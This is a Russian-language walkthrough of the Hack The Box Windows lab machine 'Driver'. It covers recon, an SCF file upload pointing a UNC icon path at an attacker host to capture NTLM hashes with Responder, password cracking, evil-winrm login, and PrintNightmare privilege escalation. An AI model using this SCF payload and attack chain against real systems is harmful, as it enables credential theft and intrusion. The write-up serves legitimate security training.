Итак, сегодня мы разберём прохождение машины Driver на Hack The Box. Сложность - Easy. ОС - Windows.
Разведка
Любое исследование начинается с разведки. В качестве основного инструмента для первоначального анализа машины используем nmap.
Nmap
Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sC (для использования стандартных скриптов) и -sV (для обнаружения версий сервисов):
nmap -sC -sV -p- 10.10.11.106
Nmap нашел 4 открытых TCP порта, 80 (HTTP), 135 (RPC), 445 (SMB), 5985 (Microsoft Windows Remote Management - WinRM).
По полученной информации можно судить, что перед нами Windows 10 или Windows Server 2016 и выше. Также открытый порт с сервисом WinRM, который можно будет использовать для удаленного подключения на машину в дальнейшем, когда обнаружим учетные данные.
HTTP TCP 80
Для доступа на сайт требуется ввести логин и пароль.
Nikto
Запустим Web-сканер Nikto для получения дополнительной информации и уязвимостей на сайте.
nikto -h 10.10.11.106
С помощью Nikto находим, что для входа на сайт используются учетные данные admin:admin.
MFP Firmware Update Center
Заходим на сайт. Сетевой ресурс представляет собой MFP Firmware Update Center.
В ходе анализа содержимого сайта обнаружено, что помимо заглавной страницы index.php обнаружена страница загрузки прошивки для принтера fw_up.php. Проанализируем форму загрузки файлов:
Reverse Shell
В форму загрузки файлов можно попытаться загрузить shell и выполнить reverse shell с помощью утилиты netcat. Данная атака не удается, т.к. машина с ОС Windows и необходимо искать другие пути.
RPC
Для получения информации об RPC воспользуемся rpcdump из состава Impacket:
impacket-rpcdump 10.10.11.106
Исследуя вывод rpcdump обнаруживаем, что на машине поднят сервис spoolsv.exe:
Соотнося название машины (driver), заглавный скриншот с сайта (принтер) и то, что поднят сервис spoolsv.exe, можно судить, что данная машина уязвима к недавней громкой уязвимости PrintNigtmare. На GitHub находим несколько реализаций CVE-2021-1675, но все они LPE, т.е. локальные, а значит эту уязвимость будем пробовать эксплуатировать, когда окажемся внутри системы, для поднятия привилегий.
SMB
Запускаем сканирование smb с помощью скриптов nmap
nmap --script "safe or smb-enum-*" -p 445 10.10.11.106
Попробуем также подключиться с помощью smbmap:
Получение доступа
Загрузка SCF
Страница загрузки файла говорит, что все файлы будут загружены на локальное файловое хранилище. Машина имеет открытый SMB порт, поэтому файлы будут загружаться на локальное хранилище SMB, а значит мы можем выполнить поиск информации об уязвимостях хранилища файлов SMB.
Выполнив поиск информации об уязвимостях загрузки файлов SMB, находим информацию про SCF File Attacks.
Файлы SCF (Shell Command Files) можно использовать для выполнения ограниченного набора операций, таких как отображение рабочего стола Windows или открытие проводника Windows. Однако SCF файл может быть использован для доступа к определенному UNC пути, что позволяет провести атаку.
Данная атака заключается в следующем: когда у вас есть доступ на запись в файловое хранилище SMB, то можно записать файл .scf, который будет ссылаться на файл, например icon-файл, на подконтрольном атакующей стороне SMB ресурсе. Когда пользователь просматривает общий ресурс, автоматически устанавливается соединение из его системы с путем UNC, который содержится в файле SCF. Windows попытается пройти аутентификацию на этом ресурсе с помощью учетных данных пользователя.
Формат файла scf следующий:
[Shell]
Command=2
IconFile=\\X.X.X.X\share\test.ico
[Taskbar]
Command=ToggleDesktop
Получение Хешей
Для получения хешей учетных данных будем использовать следующий SCF файл:
Для перехвата учетных данных при обращении к сетевому ресурсу используем утилиту responder.
Responder - это инструмент для выполнения атаки “человек посередине” (Man-in-the-Middle) в отношении методов аутентификации в Windows. Эта программа включает в себя LLMNR, NBT-NS и MDNS poisoner благодаря которому перенаправляется трафик с запросами и хешами аутентификации.
Также в программу встроены поддельные серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и HTTP basic, для которых Responder выполняет роль ретранслятора.
Выполняем запуск responder, для получения NTLMv2 хеша:
responder -I tun0
Выполняем загрузку .scf файла и перехватываем хеш:
Взлом хеша
Для взлома хеша используем утилиту “John The Ripper” и получаем пароль liltony:
WinRM
На этапе разведки был обнаружен открытый TCP порт 5985. Это порт WinRM (Windows Remote Management).
WinRM это реализация Microsoft WS-Management в Windows, которая позволяет системам получать доступ или обмениваться управляющей информацией через общую сеть.
Пробуем подключиться к WinRM. Для этого используем консольную утилиту evil-winrm:
evil-winrm -u tony -p liltony -i 10.10.11.106
Получаем удаленный доступ к атакуемой Windows машине. В папке Desktop находим файл с флагом “user.txt”:
Повышение привилегий
Winpeas
Загружаем на машину WinPEAS, для поиска путей повышения привилегий.
Обнаруживаем знакомый spoolsv.exe, который отвечает за обработку процессов печати на локальном компьютере в операционных системах Microsoft Windows.
Эксплуатация PrintNightmare
Как ранее уже было сказано, можно попробовать выполнить эксплуатацию уязвимости PrintNightmare CVE-2021-1675. Для этого воспользуемся PowerShell версией эксплойта https://github.com/calebstewart/CVE-2021-1675.
Загружаем скрипт на машину:
Выполняем попытку эксплуатации с помощью Import-Module:
Получаем ошибку, связанную с выключенной функцией запуска скриптов на системе. Для включения возможности запуска скриптов используем команду:
Set-ExecutionPolicy RemoteSigned
Данная команда также заблокирована, поэтому попробуем включить возможность исполнения команд для текущего пользователя с помощью команды:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Успех. Теперь можно попробовать выполнить эксплуатацию PrintNightmare.
Получение флага root.txt
Подключаемся за созданного администратора admin с паролем P@ssw0rd с помощью Evil-Winrm:
Переходим в папку Desktop пользователя Administrator и получаем флаг root.txt:
Подписывайтесь на наш паблик ВКонтакте, Telegram, Яндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!
#HTB #HACKTHEBOX #HACKING #HACKER #ПЕНТЕСТ #ПЕНТЕСТИНГ #КИБЕРБЕЗОПАСНОСТЬ #cybersecurity #SECWARE #информационная безопасность